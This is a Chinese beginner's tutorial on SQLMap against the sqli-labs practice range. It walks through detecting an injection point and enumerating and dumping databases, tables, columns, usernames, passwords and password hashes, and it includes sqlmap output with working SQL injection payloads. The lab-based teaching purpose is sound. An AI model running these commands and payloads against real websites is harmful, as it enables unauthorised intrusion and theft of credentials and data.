SQLMap入门(基于SQLMap1.4.9.3与《Web安全攻防渗透测试实战指南》提供的靶场) 您所在的位置:网站首页 医学问号图片大全 SQLMap入门(基于SQLMap1.4.9.3与《Web安全攻防渗透测试实战指南》提供的靶场)

SQLMap入门(基于SQLMap1.4.9.3与《Web安全攻防渗透测试实战指南》提供的靶场)

2023-01-22 07:05| 来源: 网络整理| 查看: 265

目录

1 判断是否存在注入

2 判断文本中的请求是否存在注入

3 查询当前用户下的所有数据库

4 获取数据库中的表名

5 获取表中的字段名

6 获取字段内容

7 获取数据库的所有用户

8 获取用户数据库的密码

9 获取当前网站数据库的名称

10 获取当前网站数据库的用户名称

1 判断是否存在注入

假设目标注入点是 http://localhost/sqli-labs/Less-1/?id=11 ,判断其是否存在注入点的命令如下所示:

python sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=11 sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=11' AND 6239=6239 AND 'sWzo'='sWzo Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: id=11' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7178627a71,(SELECT (ELT(9725=9725,1))),0x716b717871,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'zuJe'='zuJe Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=11' AND (SELECT 5227 FROM (SELECT(SLEEP(5)))ZvEL) AND 'JmOX'='JmOX Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-4386' UNION ALL SELECT NULL,NULL,CONCAT(0x7178627a71,0x4742497749446d6b6e584d56776648776d497572696b6643677a564a5858477151475a64704f726e,0x716b717871)-- - ---

还有一种情况,当注入点后面的参数大于等于两个时,需要加双引号,如下所示。

python sqlmap.py -u "http://192.168.43.68/sqli-labs/Less-1/?id=1&uid=2"

可以看到,运行完判断是否存在注入的语句后,“爆出” 一大段代码,下面来分析代码反馈给我们的信息。这里有三处需要选择的地方:

第一处的意思为检测到数据库可能是MySQL,是否需要跳过检测其他数据库; 第二处的意思是在"level1、risk1"的情况下,是否使用MySQL对应的所有Payload进行检测; 第三处的意思是参数ID存在漏洞,是否要继续检测其他参数,一般默认按回车键即可。

sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 4892=4892 AND 'vJkm'='vJkm&uid=2 Type: error-based Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) Payload: id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6a7a71,(SELECT (ELT(9671=9671,1))),0x7162716b71,0x78))s), 8446744073709551610, 8446744073709551610))) AND 'pBVx'='pBVx&uid=2 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=1' AND (SELECT 9857 FROM (SELECT(SLEEP(5)))SaOn) AND 'daZa'='daZa&uid=2 Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-2614' UNION ALL SELECT NULL,CONCAT(0x716a6a7a71,0x4242534c516562597462796f424e50724c6c6e45644d577865434f5750624b41614667746e416c72,0x7162716b71),NULL-- -&uid=2 --- 2 判断文本中的请求是否存在注入

从文件中加载http请求,SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为web数据包、

判断是否存在注入的命令如下所示,-r一般在存在cookie注入时使用

sqlmap -r /desktop/1.txt 3 查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所哟数据库列表信息的表,使用该命令就可以列出所有数据库。

sqlmap.py -u http://localhost/sqli-labs/Less-1/?id=11 --dbs

--dbs缩写成-D xxx,意为在xxx数据库中继续查询其他数据

4 获取数据库中的表名

该命令的作用是查询完数据库后,查询指定数据库中所有的表名。

如果在该命令中不加入-D参数来指定某一个具体的数据库, 那么SQLMap会列出数据库中所有库的表

sqlmap.py -u "http://192.168.1.7/sql/union.php?idl=1" -D dkeye --tables

可以看到dkeye数据库中拥有的三个表名。

当继续注入时,--tables缩写成-T,意为在某表中继续查询

5 获取表中的字段名

该命令的作用是,查询完表名后,查询该表中所有的字段名

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info --columns

可以看到dkeye数据库中的user_info表中一共有四个字段。     --columns 缩写成 -C

6 获取字段内容

作用:查询玩字段名之后,获取字段中的具体数据信息

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -D dkeye -T user_info -C username,password --dump

这里需要下载的数据是dkeye数据库里user_info表中username和password

7 获取数据库的所有用户

该命令的作用是列出数据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" -users

可以看到,当前用户账号是root。

8 获取用户数据库的密码

该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限, SQLMap会先列举出用户,然后列出Hash,并尝试**。

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --passwords

可以看到,密码使用MySQL5加密,可以在www.cmd5.com中自行解密。

9 获取当前网站数据库的名称

使用该命令可以列出当前网站使用的数据库,如下所示

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-db

可以看到数据库是'sql'。

10 获取当前网站数据库的用户名称

使用该命令可以列出当前网站使用的数据库用户

sqlmap.py -u "http://192.168.1.7/sql/union.php?id=1" --current-user

可以看到,用户是root。



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有